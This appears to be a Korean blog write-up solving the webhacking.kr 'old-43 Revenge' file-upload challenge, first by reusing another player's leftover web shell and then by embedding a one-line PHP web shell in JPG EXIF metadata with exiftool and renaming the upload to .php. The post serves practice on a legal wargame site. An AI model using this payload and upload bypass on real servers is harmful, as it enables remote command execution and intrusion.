One_Blog

webhacking.kr old-43 Revenge 😈 본문

웹해킹

webhacking.kr old-43 Revenge 😈

0xOne 2024. 2. 1. 20:33
728x90

일단 ㅋㅋ 

 

정석 분석과 편법을 이용한 풀이가 있다.

 

편법을 이용한 풀이부터 하도록 하겠다.

 

코드를 보면 이런식으로 파일의 타입과 이름을 가지고 검사를 하기에,

 

이전에 사용한 타입만 바꿔서 업로드 하는 방법으로는 풀이가 어렵다.

 

하지만 아직 우리가 이용할 수 있는 게 남아있다.

 

사람들이 올린 파일이 ./upload에 업로드되고, 

 

사용된 파일이 서버에서 삭제되지 않는다는 점이다.

 

솔버가 33명이나 있는 문제이니, 누구 한명 쯤은 shell.php, webshell.php, cat.php, cmd.php와 같은 이름으로

 

파일을 올렸을 것이라고 예상했고, 실제로 shell.php를 불러오니 어떤 파일이 하나 불러와졌다.

 

 

얼핏보면 난잡해보이지만, 아마 우회를 위해 추가적인 데이터를 넣다가

 

이런 난잡한 파일이 되었을 거라고 추측이 가능하다. 

 

일단 확장자가 php니까 성공적으로 업로드 된 웹쉘이라고 생각했다.

 

일반적으로 php 웹쉘은 GET ?cmd를 통해 인자값을 받고 실행해주니,

 

불러온 파일에 cmd로 인자값을 넘겨줘봤다.

 

명령어가 잘 실행된 모습이다..ㅋㅋ

 

이제 cat /flag를 하면 플래그를 읽을 수 있을 것이다.

 

플래그가 정상적으로 나온 모습이다.

 

이게 편법 풀이였고..ㅋㅋ 

 

아래 글이 정석 분석이다.

 

일단 해당 검사는 전혀 의미가 없다.

 

그냥 BurpSuite로 패킷 잡아서 Content-Type만 우회해주면 되기 때문에.. 전혀 의미가 없다.

 

하지만 진짜 문제는

이 부분이다. 해당 부분에선 올라간 파일을 가져와서 이미지로 읽어내고,

 

resize한 다음에 upload에 써준다.

 

이부분 때문에 결국에 나만의 shell을 업로드하지 못했다.

 

어디에 페이로드를 집어넣더라도 잘리거나 없어져 버리는 것이었다..

 

 

현재 디스코드 방에 질문해놓은 상태인데, 답변 달리면 블로그 글에도 추가하겠습니다.

 

 

Sechack님의 답변으로 어떤식으로 Shell을 만들어야하는 지 알게 되었습니다.

 

JPG 파일에는 기본적으로 주석을 적는 곳이 존재하는데,

 

주석을 적는 부분에 페이로드를 주입하면 페이로드가 손상되지 않는 것이었습니다.

 

따라서 저는 exiftool을 이용하여 JPG 파일에 페이로드를 주입하기로 했습니다.

 

https://www.hahwul.com/2017/08/17/web-hacking-metadata-payload/

 

EXIF를 이용하여 이미지 파일 내 Payload 삽입하기

이미지를 처리하는 서비스들을 보면 많은 서비스들이 이미지의 metadata를 사용합니다. 이를 파싱해서 활용하기 때문에 우리는 이를 통해 XSS나 XXE 등 여러 웹 해킹 기법에 사용할 수 있습니다. 가

www.hahwul.com

해당 글을 참고하여

 

exiftool -artist='<?php system($_GET['\''cmd'\'']); ?>' output.jpg

이런식으로 페이로드를 주입해주면,

 

 

이런식으로 페이로드가 Artist(주석) 부분에 잘 주입된 것을 확인할 수 있습니다.

 

그리고 해당 파일을 업로드한 후,

업로드 과정을 burpsuite로 잡아서 filename을 .php로 변경해줍니다.

업로드 성공!

 

접근해서 ?cmd=ls를 해보면

 

웹쉘이 잘 업로드 된 것을 확인할 수 있습니다 :)

 

읽어주셔서 감사합니다.

 

Thank you Sechack